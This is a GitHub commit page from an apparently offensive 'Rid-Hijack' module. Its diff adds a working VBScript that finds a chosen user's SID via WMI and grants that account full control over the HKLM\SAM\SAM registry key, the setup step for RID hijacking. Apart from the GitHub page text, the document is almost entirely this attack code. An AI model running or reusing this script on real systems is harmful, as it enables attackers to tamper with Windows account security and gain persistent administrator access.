-
Notifications
You must be signed in to change notification settings - Fork 132
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
[Rid-Hijack] Use vbscript to grant access permission.
Signed-off-by: XiaoliChan <2209553467@qq.com>
- Loading branch information
1 parent
7bb181c
commit d05a622
Showing
3 changed files
with
73 additions
and
25 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,40 @@ | ||
strUser = "REPLACE_WITH_USER" | ||
Set objWMIService = GetObject("winmgmts:\\.\root\Cimv2") | ||
Set colUsers = objWMIService.ExecQuery("SELECT * FROM Win32_Account WHERE Name='"&strUser&"'") | ||
If colUsers.count<>0 Then | ||
For Each objUser In colUsers | ||
strSID = objUser.SID | ||
Next | ||
Else | ||
End If | ||
|
||
Set objSID = objWMIService.Get("Win32_SID.SID='"&strSID&"'") | ||
|
||
Set objTrustee = objWMIService.Get("Win32_Trustee").SpawnInstance_() | ||
objTrustee.Domain = objSID.ReferencedDomainName | ||
objTrustee.Name = objSID.AccountName | ||
objTrustee.SID = objSID.BinaryRepresentation | ||
objTrustee.SidLength = objSID.SidLength | ||
objTrustee.SIDString = objSID.Sid | ||
|
||
Set objNewACE = objWMIService.Get("Win32_ACE").SpawnInstance_() | ||
objNewACE.AccessMask = 983103 | ||
objNewACE.AceType = 0 | ||
objNewACE.AceFlags = 2 | ||
objNewACE.Trustee = objTrustee | ||
|
||
Const HKLM = &H80000002 | ||
strKeyPath = "SAM\SAM" | ||
Set oReg = GetObject("Winmgmts:\root\default:StdRegProv") | ||
RetVal = oReg.GetSecurityDescriptor(HKLM,strKeyPath,wmiSecurityDescriptor) | ||
DACL = wmiSecurityDescriptor.DACL | ||
ReDim objNewDacl(0) | ||
Set objNewDacl(0) = objNewACE | ||
For each objACE in DACL | ||
Ubd = UBound(objNewDacl) | ||
ReDim preserve objNewDacl(Ubd+1) | ||
Set objNewDacl(Ubd+1) = objACE | ||
Next | ||
wmiSecurityDescriptor.DACL = objNewDacl | ||
RetVal = oReg.SetSecurityDescriptor(HKLM,strKeyPath,wmiSecurityDescriptor) | ||
wscript.echo RetVal |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters